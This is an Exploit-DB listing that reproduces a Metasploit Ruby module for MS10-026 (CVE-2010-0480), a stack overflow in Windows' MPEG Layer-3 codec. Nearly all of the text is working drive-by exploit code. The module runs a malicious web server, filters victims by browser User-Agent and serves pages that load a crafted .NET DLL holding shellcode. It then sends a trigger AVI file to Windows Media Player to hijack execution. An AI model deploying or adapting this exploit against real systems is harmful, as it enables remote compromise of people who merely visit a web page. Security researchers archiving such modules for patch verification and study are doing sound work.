标题: Microsoft MPEG Layer-3 Audio - Stack Overflow (MS10-026) (Metasploit) EDB-ID: 17659 CVE: 2010-0480 类型: REMOTE 平台: WINDOWS 发布日期: 2011-08-13 漏洞利用脚本: ##
# $Id: ms10_026_avi_nsamplespersec.rb 13555 2011-08-13 02:15:05Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow',
   'Description'    => %q{
     This module exploits a buffer overlow in l3codecx.ax while processing a
    AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite
    with 0's so the three least significant bytes of EIP saved on stack are
    overwritten and shellcode is mapped using the .NET DLL memory technique pioneered
    by Alexander Sotirov and Mark Dowd.

    Please note on IE 8 targets, your malicious URL must be a trusted site in order
    to load the .Net control.
   },
   'Author'         =>
    [
     'Yamata Li', # Vulnerability Discovery
     'Shahin Ramezany <shahin[at]abysssec.com', # Vulnerability Analysis and Exploit
     'juan vazquez', # Metasploit module
     'Jordi Sanchez <jsanchez[at]0x01000000.org>', # Metasploit module - Help
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13555 $',
   'References'     =>
    [
     ['CVE', '2010-0480'],
     ['OSVDB', '63749'],
     ['BID', '39303'],
     ['MSB', 'MS10-026'],
     ['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'],
     ['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/']
    ],
   'Payload'        =>
    {
     'Space'    => 4000
    },
   'DefaultOptions' =>
    {
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Targets'        =>
    [
     # Target 0: Automatic
     # Tested with:
     # Windows XP SP3 English IE 6
     # Windows XP SP3 English IE 7
     # Windows XP SP3 English IE 8: The exploiting site must be a trusted
     # site to load the .NET control
     # .NET CLR required
     [
      'Windows XP SP3 Automatic',
      {
       'Platform' => 'win',
       'Ret' => 0x72000000
      },
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Apr 13 2010'))
 end

 def exploit
  # Embed our payload in a .Net binary
  ibase = target.ret - 0x10000
  shellcode = rand_text_alpha(target.ret - ibase - 0x2285)
  shellcode << payload.encoded

  #Use our own custom .Net binary, because we require a much bigger file
  #to land our payload at the right place
  opts = {
   :template    => 'template_dotnetmem.dll',
   :text_offset => 0x1285,
   :text_max    => 0x20000,
   :pack        => 'a131072',
   :uuid_offset => 135816
  }

  @dotnet_payload = Msf::Util::EXE.to_dotnetmem(ibase, shellcode, opts)

  # Load our AVI file
  path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0480.avi")
  f = File.open(path, "rb")
  @trigger = f.read(f.stat.size)
  f.close

  super
 end

 def on_request_uri(cli, request)

  agent = request['User-Agent']
  case request['User-Agent']
   when /MSIE.*Windows NT 5\.1.*\.NET CLR .*/
   when /Windows-Media-Player/
    # AVI is requested by WMP
   else
    send_not_found(cli)
    print_error("#{cli.peerhost}:#{cli.peerport} - target not supported: #{agent}")
    return
  end

  if (request.uri =~ /\.html/i)
   avi_name = rand_text_alpha(4)
   avi_trigger = ""

   if ("/" == get_resource[-1,1])
    avi_trigger = get_resource[0, get_resource.length - 1]
   else
    avi_trigger = get_resource
   end

   avi_trigger << "/#{avi_name}.avi"

   html = %Q|<html>
   <body>
   <OBJECT ID="MediaPlayer"
   CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95"
   CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#
   Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..."
   TYPE="application/x-oleobject" width="280" height="46">
    <param name="fileName" value="#{avi_trigger}">
    <param name="animationatStart" value="true">
    <param name="transparentatStart" value="true">
    <param name="autoStart" value="true">
    <param name="showControls" value="true">
    <param name="Volume" value="-300">
   <embed type="application/x-mplayer2"
    pluginspage="http://www.microsoft.com/Windows/MediaPlayer/"
    src="#{avi_trigger}"
    name="MediaPlayer"
    width=280
    height=46
    autostart=1
    showcontrols=1
    volume=-300>
   </embed>
   </OBJECT>
   </body>
   </html>
   |

   html = html.gsub(/^\t\t\t/, '')

   print_status("Sending trigger loader to #{cli.peerhost}:#{cli.peerport}...")
   send_response_html(cli, html)

  elsif (request.uri =~ /\.avi$/i)

   print_status "Sending AVI trigger to #{cli.peerhost}:#{cli.peerport} ..."
   send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
   return

  elsif (request.uri =~ /\.dll$/i)

   print_status "Sending DLL file to #{cli.peerhost}:#{cli.peerport} ..."
   send_response(
    cli,
    @dotnet_payload,
    {
     'Content-Type' => 'application/x-msdownload',
     'Connection'   => 'close',
     'Pragma'       => 'no-cache'
    }
   )
   return

  end

  html_name = rand_text_alpha(4)
  dll_uri = ""
  html_trigger = ""

  if ("/" == get_resource[-1,1])
   dll_uri = get_resource[0, get_resource.length - 1]
   html_trigger = get_resource[0, get_resource.length - 1]
  else
   dll_uri = get_resource
   html_trigger = get_resource
  end

  dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
  js_net_dll = "<object classid=\"#{dll_uri}\"#GenericControl\"><object>"
  html_trigger << "/#{html_name}.html"

  html  = %Q|<html>
  <head>
  <script language="javascript">
   function forward() {
    window.location = window.location + '#{html_trigger}';
   }

   function start() {
    setTimeout("forward()", 2000);
   }
  </script>
  </head>
  <body onload="start()">
  <object classid="#{dll_uri}#GenericControl">
  <object>
  </body>
  </html>
  |

  html = html.gsub(/^\t\t/, '')

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, html)
 end

end URL: https://www.exploit-db.com/exploits/17659